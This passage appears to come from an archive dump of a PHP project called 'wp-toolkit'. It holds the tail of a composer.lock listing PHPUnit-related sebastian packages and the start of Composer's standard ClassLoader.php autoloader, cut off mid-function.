"zip", "url": "https://api.github.com/repos/sebastianbergmann/cli-parser/zipball/442e7c7e687e42adc03470c7b668bc4b2402c0b2", "reference": "442e7c7e687e42adc03470c7b668bc4b2402c0b2", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "type": "library", "extra": { "branch-alias": { "dev-master": "1.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Library for parsing CLI options", "homepage": "https://github.com/sebastianbergmann/cli-parser", "support": { "issues": "https://github.com/sebastianbergmann/cli-parser/issues", "source": "https://github.com/sebastianbergmann/cli-parser/tree/1.0.1" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2020-09-28T06:08:49+00:00" }, { "name": "sebastian/code-unit", "version": "1.0.8", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/code-unit.git", "reference": "1fc9f64c0927627ef78ba436c9b17d967e68e120" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/code-unit/zipball/1fc9f64c0927627ef78ba436c9b17d967e68e120", "reference": "1fc9f64c0927627ef78ba436c9b17d967e68e120", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "type": "library", "extra": { "branch-alias": { "dev-master": "1.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Collection of value objects that represent the PHP code units", "homepage": "https://github.com/sebastianbergmann/code-unit", "support": { "issues": "https://github.com/sebastianbergmann/code-unit/issues", "source": "https://github.com/sebastianbergmann/code-unit/tree/1.0.8" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2020-10-26T13:08:54+00:00" }, { "name": "sebastian/code-unit-reverse-lookup", "version": "2.0.3", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/code-unit-reverse-lookup.git", "reference": "ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/code-unit-reverse-lookup/zipball/ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5", "reference": "ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "type": "library", "extra": { "branch-alias": { "dev-master": "2.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "description": "Looks up which function or method a line of code belongs to", "homepage": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/", "support": { "issues": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/issues", "source": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/tree/2.0.3" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2020-09-28T05:30:19+00:00" }, { "name": "sebastian/comparator", "version": "4.0.8", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/comparator.git", "reference": "fa0f136dd2334583309d32b62544682ee972b51a" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/comparator/zipball/fa0f136dd2334583309d32b62544682ee972b51a", "reference": "fa0f136dd2334583309d32b62544682ee972b51a", "shasum": "" }, "require": { "php": ">=7.3", "sebastian/diff": "^4.0", "sebastian/exporter": "^4.0" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "type": "library", "extra": { "branch-alias": { "dev-master": "4.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" }, { "name": "Jeff Welch", "email": "whatthejeff@gmail.com" }, { "name": "Volker Dusch", "email": "github@wallbash.com" }, { "name": "Bernhard Schussek", "email": "bschussek@2bepublished.at" } ], "description": "Provides the functionality to compare PHP values for equality", "homepage": "https://github.com/sebastianbergmann/comparator", "keywords": [ "comparator", "compare", "equality" ], "support": { "issues": "https://github.com/sebastianbergmann/comparator/issues", "source": "https://github.com/sebastianbergmann/comparator/tree/4.0.8" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2022-09-14T12:41:17+00:00" }, { "name": "sebastian/complexity", "version": "2.0.2", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/complexity.git", "reference": "739b35e53379900cc9ac327b2147867b8b6efd88" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/complexity/zipball/739b35e53379900cc9ac327b2147867b8b6efd88", "reference": "739b35e53379900cc9ac327b2147867b8b6efd88", "shasum": "" }, "require": { "nikic/php-parser": "^4.7", "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "type": "library", "extra": { "branch-alias": { "dev-master": "2.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Library for calculating the complexity of PHP code units", "homepage": "https://github.com/sebastianbergmann/complexity", "support": { "issues": "https://github.com/sebastianbergmann/complexity/issues", "source": "https://github.com/sebastianbergmann/complexity/tree/2.0.2" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2020-10-26T15:52:27+00:00" }, { "name": "sebastian/diff", "version": "4.0.4", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/diff.git", "reference": "3461e3fccc7cfdfc2720be910d3bd73c69be590d" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/diff/zipball/3461e3fccc7cfdfc2720be910d3bd73c69be590d", "reference": "3461e3fccc7cfdfc2720be910d3bd73c69be590d", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3", "symfony/process": "^4.2 || ^5" }, "type": "library", "extra": { "branch-alias": { "dev-master": "4.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" }, { "name": "Kore Nordmann", "email": "mail@kore-nordmann.de" } ], "description": "Diff implementation", "homepage": "https://github.com/sebastianbergmann/diff", "keywords": [ "diff", "udiff", "unidiff", "unified diff" ], "support": { "issues": "https://github.com/sebastianbergmann/diff/issues", "source": "https://github.com/sebastianbergmann/diff/tree/4.0.4" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2020-10-26T13:10:38+00:00" }, { "name": "sebastian/environment", "version": "5.1.4", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/environment.git", "reference": "1b5dff7bb151a4db11d49d90e5408e4e938270f7" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/environment/zipball/1b5dff7bb151a4db11d49d90e5408e4e938270f7", "reference": "1b5dff7bb151a4db11d49d90e5408e4e938270f7", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "suggest": { "ext-posix": "*" }, "type": "library", "extra": { "branch-alias": { "dev-master": "5.1-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "description": "Provides functionality to handle HHVM/PHP environments", "homepage": "http://www.github.com/sebastianbergmann/environment", "keywords": [ "Xdebug", "environment", "hhvm" ], "support": { "issues": "https://github.com/sebastianbergmann/environment/issues", "source": "https://github.com/sebastianbergmann/environment/tree/5.1.4" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2022-04-03T09:37:03+00:00" }, { "name": "sebastian/exporter", "version": "4.0.5", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/exporter.git", "reference": "ac230ed27f0f98f597c8a2b6eb7ac563af5e5b9d" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/exporter/zipball/ac230ed27f0f98f597c8a2b6eb7ac563af5e5b9d", "reference": "ac230ed27f0f98f597c8a2b6eb7ac563af5e5b9d", "shasum": "" }, "require": { "php": ">=7.3", "sebastian/recursion-context": "^4.0" }, "require-dev": { "ext-mbstring": "*", "phpunit/phpunit": "^9.3" }, "type": "library", "extra": { "branch-alias": { "dev-master": "4.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" }, { "name": "Jeff Welch", "email": "whatthejeff@gmail.com" }, { "name": "Volker Dusch", "email": "github@wallbash.com" }, { "name": "Adam Harvey", "email": "aharvey@php.net" }, { "name": "Bernhard Schussek", "email": "bschussek@gmail.com" } ], "description": "Provides the functionality to export PHP variables for visualization", "homepage": "https://www.github.com/sebastianbergmann/exporter", "keywords": [ "export", "exporter" ], "support": { "issues": "https://github.com/sebastianbergmann/exporter/issues", "source": "https://github.com/sebastianbergmann/exporter/tree/4.0.5" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2022-09-14T06:03:37+00:00" }, { "name": "sebastian/global-state", "version": "5.0.5", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/global-state.git", "reference": "0ca8db5a5fc9c8646244e629625ac486fa286bf2" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/global-state/zipball/0ca8db5a5fc9c8646244e629625ac486fa286bf2", "reference": "0ca8db5a5fc9c8646244e629625ac486fa286bf2", "shasum": "" }, "require": { "php": ">=7.3", "sebastian/object-reflector": "^2.0", "sebastian/recursion-context": "^4.0" }, "require-dev": { "ext-dom": "*", "phpunit/phpunit": "^9.3" }, "suggest": { "ext-uopz": "*" }, "type": "library", "extra": { "branch-alias": { "dev-master": "5.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "description": "Snapshotting of global state", "homepage": "http://www.github.com/sebastianbergmann/global-state", "keywords": [ "global state" ], "support": { "issues": "https://github.com/sebastianbergmann/global-state/issues", "source": "https://github.com/sebastianbergmann/global-state/tree/5.0.5" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2022-02-14T08:28:10+00:00" }, { "name": "sebastian/lines-of-code", "version": "1.0.3", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/lines-of-code.git", "reference": "c1c2e997aa3146983ed888ad08b15470a2e22ecc" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/lines-of-code/zipball/c1c2e997aa3146983ed888ad08b15470a2e22ecc", "reference": "c1c2e997aa3146983ed888ad08b15470a2e22ecc", "shasum": "" }, "require": { "nikic/php-parser": "^4.6", "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "type": "library", "extra": { "branch-alias": { "dev-master": "1.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Library for counting the lines of code in PHP source code", "homepage": "https://github.com/sebastianbergmann/lines-of-code", "support": { "issues": "https://github.com/sebastianbergmann/lines-of-code/issues", "source": "https://github.com/sebastianbergmann/lines-of-code/tree/1.0.3" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2020-11-28T06:42:11+00:00" }, { "name": "sebastian/object-enumerator", "version": "4.0.4", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/object-enumerator.git", "reference": "5c9eeac41b290a3712d88851518825ad78f45c71" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/object-enumerator/zipball/5c9eeac41b290a3712d88851518825ad78f45c71", "reference": "5c9eeac41b290a3712d88851518825ad78f45c71", "shasum": "" }, "require": { "php": ">=7.3", "sebastian/object-reflector": "^2.0", "sebastian/recursion-context": "^4.0" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "type": "library", "extra": { "branch-alias": { "dev-master": "4.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "description": "Traverses array structures and object graphs to enumerate all referenced objects", "homepage": "https://github.com/sebastianbergmann/object-enumerator/", "support": { "issues": "https://github.com/sebastianbergmann/object-enumerator/issues", "source": "https://github.com/sebastianbergmann/object-enumerator/tree/4.0.4" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2020-10-26T13:12:34+00:00" }, { "name": "sebastian/object-reflector", "version": "2.0.4", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/object-reflector.git", "reference": "b4f479ebdbf63ac605d183ece17d8d7fe49c15c7" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/object-reflector/zipball/b4f479ebdbf63ac605d183ece17d8d7fe49c15c7", "reference": "b4f479ebdbf63ac605d183ece17d8d7fe49c15c7", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "type": "library", "extra": { "branch-alias": { "dev-master": "2.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "description": "Allows reflection of object attributes, including inherited and non-public ones", "homepage": "https://github.com/sebastianbergmann/object-reflector/", "support": { "issues": "https://github.com/sebastianbergmann/object-reflector/issues", "source": "https://github.com/sebastianbergmann/object-reflector/tree/2.0.4" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2020-10-26T13:14:26+00:00" }, { "name": "sebastian/recursion-context", "version": "4.0.4", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/recursion-context.git", "reference": "cd9d8cf3c5804de4341c283ed787f099f5506172" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/recursion-context/zipball/cd9d8cf3c5804de4341c283ed787f099f5506172", "reference": "cd9d8cf3c5804de4341c283ed787f099f5506172", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "type": "library", "extra": { "branch-alias": { "dev-master": "4.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" }, { "name": "Jeff Welch", "email": "whatthejeff@gmail.com" }, { "name": "Adam Harvey", "email": "aharvey@php.net" } ], "description": "Provides functionality to recursively process PHP variables", "homepage": "http://www.github.com/sebastianbergmann/recursion-context", "support": { "issues": "https://github.com/sebastianbergmann/recursion-context/issues", "source": "https://github.com/sebastianbergmann/recursion-context/tree/4.0.4" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2020-10-26T13:17:30+00:00" }, { "name": "sebastian/resource-operations", "version": "3.0.3", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/resource-operations.git", "reference": "0f4443cb3a1d92ce809899753bc0d5d5a8dd19a8" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/resource-operations/zipball/0f4443cb3a1d92ce809899753bc0d5d5a8dd19a8", "reference": "0f4443cb3a1d92ce809899753bc0d5d5a8dd19a8", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.0" }, "type": "library", "extra": { "branch-alias": { "dev-master": "3.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "description": "Provides a list of PHP built-in functions that operate on resources", "homepage": "https://www.github.com/sebastianbergmann/resource-operations", "support": { "issues": "https://github.com/sebastianbergmann/resource-operations/issues", "source": "https://github.com/sebastianbergmann/resource-operations/tree/3.0.3" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2020-09-28T06:45:17+00:00" }, { "name": "sebastian/type", "version": "3.2.0", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/type.git", "reference": "fb3fe09c5f0bae6bc27ef3ce933a1e0ed9464b6e" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/type/zipball/fb3fe09c5f0bae6bc27ef3ce933a1e0ed9464b6e", "reference": "fb3fe09c5f0bae6bc27ef3ce933a1e0ed9464b6e", "shasum": "" }, "require": { "php": ">=7.3" }, "require-dev": { "phpunit/phpunit": "^9.5" }, "type": "library", "extra": { "branch-alias": { "dev-master": "3.2-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Collection of value objects that represent the types of the PHP type system", "homepage": "https://github.com/sebastianbergmann/type", "support": { "issues": "https://github.com/sebastianbergmann/type/issues", "source": "https://github.com/sebastianbergmann/type/tree/3.2.0" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2022-09-12T14:47:03+00:00" }, { "name": "sebastian/version", "version": "3.0.2", "source": { "type": "git", "url": "https://github.com/sebastianbergmann/version.git", "reference": "c6c1022351a901512170118436c764e473f6de8c" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/sebastianbergmann/version/zipball/c6c1022351a901512170118436c764e473f6de8c", "reference": "c6c1022351a901512170118436c764e473f6de8c", "shasum": "" }, "require": { "php": ">=7.3" }, "type": "library", "extra": { "branch-alias": { "dev-master": "3.0-dev" } }, "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "description": "Library that helps with managing the version number of Git-hosted PHP projects", "homepage": "https://github.com/sebastianbergmann/version", "support": { "issues": "https://github.com/sebastianbergmann/version/issues", "source": "https://github.com/sebastianbergmann/version/tree/3.0.2" }, "funding": [ { "url": "https://github.com/sebastianbergmann", "type": "github" } ], "time": "2020-09-28T06:39:44+00:00" }, { "name": "theseer/tokenizer", "version": "1.2.1", "source": { "type": "git", "url": "https://github.com/theseer/tokenizer.git", "reference": "34a41e998c2183e22995f158c581e7b5e755ab9e" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/theseer/tokenizer/zipball/34a41e998c2183e22995f158c581e7b5e755ab9e", "reference": "34a41e998c2183e22995f158c581e7b5e755ab9e", "shasum": "" }, "require": { "ext-dom": "*", "ext-tokenizer": "*", "ext-xmlwriter": "*", "php": "^7.2 || ^8.0" }, "type": "library", "autoload": { "classmap": [ "src/" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Arne Blankerts", "email": "arne@blankerts.de", "role": "Developer" } ], "description": "A small library for converting tokenized PHP source code into XML and potentially other formats", "support": { "issues": "https://github.com/theseer/tokenizer/issues", "source": "https://github.com/theseer/tokenizer/tree/1.2.1" }, "funding": [ { "url": "https://github.com/theseer", "type": "github" } ], "time": "2021-07-28T10:34:58+00:00" } ], "aliases": [], "minimum-stability": "stable", "stability-flags": [], "prefer-stable": false, "prefer-lowest": false, "platform": { "php": ">=5.6" }, "platform-dev": [], "plugin-api-version": "2.1.0" } wp-toolkit/vendor/composer/ClassLoader.php 0000644 00000037304 15231023503 0014707 0 ustar 00 <?php /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Autoload; /** * ClassLoader implements a PSR-0, PSR-4 and classmap class loader. * * $loader = new \Composer\Autoload\ClassLoader(); * * // register classes with namespaces * $loader->add('Symfony\Component', __DIR__.'/component'); * $loader->add('Symfony', __DIR__.'/framework'); * * // activate the autoloader * $loader->register(); * * // to enable searching the include path (eg. for PEAR packages) * $loader->setUseIncludePath(true); * * In this example, if you try to use a class in the Symfony\Component * namespace or one of its children (Symfony\Component\Console for instance), * the autoloader will first look for the class under the component/ * directory, and it will then fallback to the framework/ directory if not * found before giving up. * * This class is loosely based on the Symfony UniversalClassLoader. * * @author Fabien Potencier <fabien@symfony.com> * @author Jordi Boggiano <j.boggiano@seld.be> * @see https://www.php-fig.org/psr/psr-0/ * @see https://www.php-fig.org/psr/psr-4/ */ class ClassLoader { /** @var ?string */ private $vendorDir; // PSR-4 /** * @var array[] * @psalm-var array<string, array<string, int>> */ private $prefixLengthsPsr4 = array(); /** * @var array[] * @psalm-var array<string, array<int, string>> */ private $prefixDirsPsr4 = array(); /** * @var array[] * @psalm-var array<string, string> */ private $fallbackDirsPsr4 = array(); // PSR-0 /** * @var array[] * @psalm-var array<string, array<string, string[]>> */ private $prefixesPsr0 = array(); /** * @var array[] * @psalm-var array<string, string> */ private $fallbackDirsPsr0 = array(); /** @var bool */ private $useIncludePath = false; /** * @var string[] * @psalm-var array<string, string> */ private $classMap = array(); /** @var bool */ private $classMapAuthoritative = false; /** * @var bool[] * @psalm-var array<string, bool> */ private $missingClasses = array(); /** @var ?string */ private $apcuPrefix; /** * @var self[] */ private static $registeredLoaders = array(); /** * @param ?string $vendorDir */ public function __construct($vendorDir = null) { $this->vendorDir = $vendorDir; } /** * @return string[] */ public function getPrefixes() { if (!empty($this->prefixesPsr0)) { return call_user_func_array('array_merge', array_values($this->prefixesPsr0)); } return array(); } /** * @return array[] * @psalm-return array<string, array<int, string>> */ public function getPrefixesPsr4() { return $this->prefixDirsPsr4; } /** * @return array[] * @psalm-return array<string, string> */ public function getFallbackDirs() { return $this->fallbackDirsPsr0; } /** * @return array[] * @psalm-return array<string, string> */ public function getFallbackDirsPsr4() { return $this->fallbackDirsPsr4; } /** * @return string[] Array of classname => path * @psalm-return array<string, string> */ public function getClassMap() { return $this->classMap; } /** * @param string[] $classMap Class to filename map * @psalm-param array<string, string> $classMap * * @return void */ public function addClassMap(array $classMap) { if ($this->classMap) { $this->classMap = array_merge($this->classMap, $classMap); } else { $this->classMap = $classMap; } } /** * Registers a set of PSR-0 directories for a given prefix, either * appending or prepending to the ones previously set for this prefix. * * @param string $prefix The prefix * @param string[]|string $paths The PSR-0 root directories * @param bool $prepend Whether to prepend the directories * * @return void */ public function add($prefix, $paths, $prepend = false) { if (!$prefix) { if ($prepend) { $this->fallbackDirsPsr0 = array_merge( (array) $paths, $this->fallbackDirsPsr0 ); } else { $this->fallbackDirsPsr0 = array_merge( $this->fallbackDirsPsr0, (array) $paths ); } return; } $first = $prefix[0]; if (!isset($this->prefixesPsr0[$first][$prefix])) { $this->prefixesPsr0[$first][$prefix] = (array) $paths; return; } if ($prepend) { $this->prefixesPsr0[$first][$prefix] = array_merge( (array) $paths, $this->prefixesPsr0[$first][$prefix] ); } else { $this->prefixesPsr0[$first][$prefix] = array_merge( $this->prefixesPsr0[$first][$prefix], (array) $paths ); } } /** * Registers a set of PSR-4 directories for a given namespace, either * appending or prepending to the ones previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param string[]|string $paths The PSR-4 base directories * @param bool $prepend Whether to prepend the directories * * @throws \InvalidArgumentException * * @return void */ public function addPsr4($prefix, $paths, $prepend = false) { if (!$prefix) { // Register directories for the root namespace. if ($prepend) { $this->fallbackDirsPsr4 = array_merge( (array) $paths, $this->fallbackDirsPsr4 ); } else { $this->fallbackDirsPsr4 = array_merge( $this->fallbackDirsPsr4, (array) $paths ); } } elseif (!isset($this->prefixDirsPsr4[$prefix])) { // Register directories for a new namespace. $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; $this->prefixDirsPsr4[$prefix] = (array) $paths; } elseif ($prepend) { // Prepend directories for an already registered namespace. $this->prefixDirsPsr4[$prefix] = array_merge( (array) $paths, $this->prefixDirsPsr4[$prefix] ); } else { // Append directories for an already registered namespace. $this->prefixDirsPsr4[$prefix] = array_merge( $this->prefixDirsPsr4[$prefix], (array) $paths ); } } /** * Registers a set of PSR-0 directories for a given prefix, * replacing any others previously set for this prefix. * * @param string $prefix The prefix * @param string[]|string $paths The PSR-0 base directories * * @return void */ public function set($prefix, $paths) { if (!$prefix) { $this->fallbackDirsPsr0 = (array) $paths; } else { $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths; } } /** * Registers a set of PSR-4 directories for a given namespace, * replacing any others previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param string[]|string $paths The PSR-4 base directories * * @throws \InvalidArgumentException * * @return void */ public function setPsr4($prefix, $paths) { if (!$prefix) { $this->fallbackDirsPsr4 = (array) $paths; } else { $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; $this->prefixDirsPsr4[$prefix] = (array) $paths; } } /** * Turns on searching the include path for class files. * * @param bool $useIncludePath * * @return void */ public function setUseIncludePath($useIncludePath) { $this->useIncludePath = $useIncludePath; } /** * Can be used to check if the autoloader uses the include path to check * for classes. * * @return bool */ public function getUseIncludePath() { return $this->useIncludePath; } /** * Turns off searching the prefix and fallback directories for classes * that have not been registered with the class map. * * @param bool $classMapAuthoritative * * @return void */ public function setClassMapAuthoritative($classMapAuthoritative) { $this->classMapAuthoritative = $classMapAuthoritative; } /** * Should class lookup fail if not found in the current class map? * * @return bool */ public function isClassMapAuthoritative() { return $this->classMapAuthoritative; } /** * APCu prefix to use to cache found/not-found classes, if the extension is enabled. * * @param string|null $apcuPrefix * * @return void */ public function setApcuPrefix($apcuPrefix) { $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null; } /** * The APCu prefix in use, or null if APCu caching is not enabled. * * @return string|null */ public function getApcuPrefix() { return $this->apcuPrefix; } /** * Registers this instance as an autoloader. * * @param bool $prepend Whether to prepend the autoloader or not * * @return void */ public function register($prepend = false) { spl_autoload_register(array($this, 'loadClass'), true, $prepend); if (null === $this->vendorDir) { return; } if ($prepend) { self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders; } else { unset(self::$registeredLoaders[$this->vendorDir]); self::$registeredLoaders[$this->vendorDir] = $this; } } /** * Unregisters this instance as an autoloader. * * @return void */ public function unregister() { spl_autoload_unregister(array($this, 'loadClass')); if (null !== $this->vendorDir) { unset(self::$registeredLoaders[$this->vendorDir]); } } /** * Loads the given class or interface. * * @param string $class The name of the class * @return true|null True if loaded, null otherwise */ public function loadClass($class) { if ($file = $this->findFile($class)) { includeFile($file); return true; } return null; } /** * Finds the path to the file where the class is defined. * * @param string $class The name of the class * * @return string|false The path if found, false otherwise */ public function findFile($class) { // class map lookup if (isset($this->classMap[$class])) { return $this->classMap[$class]; } if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) { return false; } if (null !== $this->apcuPrefix) { $file = apcu_fetch($this->apcuPrefix.$class, $hit); if ($hit) { return $file; } } $file = $this->findFileWithExtension($class, '.php'); // Search for Hack files if we are running on HHVM if (false === $file && defined('HHVM_VERSION')) { $file = $this->findFileWithExtension($class, '.hh'); } if (null !== $this->apcuPrefix) { apcu_add($this->apcuPrefix.$class, $file); } if (false === $file) { // Remember that this class does not exist. $this->missingClasses[$class] = true; } return $file; } /** * Returns the currently registered loaders indexed by their corresponding vendor directories. * * @return self[] */ public static function getRegisteredLoaders() { return self::$registeredLoaders; } /** * @param string $class * @param string $ext * @return string|false */ private function findFileWithExtension($class, $ext) { // PSR-4 lookup $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext; $first = $class[0]; if (isset($this->prefixLengthsPsr4[$first])) { $subPath = $class; while (false !== $lastPos = strrpos($subPath, '\\')) { $subPath = substr($subPath, 0, $lastPos); $search = $subPath . '\\'; if (isset($this->prefixDirsPsr4[$search])) { $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1); foreach ($this->prefixDirsPsr4[$search] as $dir) { if (file_exists($file = $dir . $pathEnd)) { return $file; } } } } } // PSR-4 fallback dirs foreach ($this->fallbackDirsPsr4 as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) { return $file; } } // PSR-0 lookup if (false !== $pos = strrpos($class, '\\')) { // namespaced class name $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1) . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR); } else { // PEAR-like class name $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext; } if (isset($this->prefixesPsr0[$first])) { foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) { if (0 === 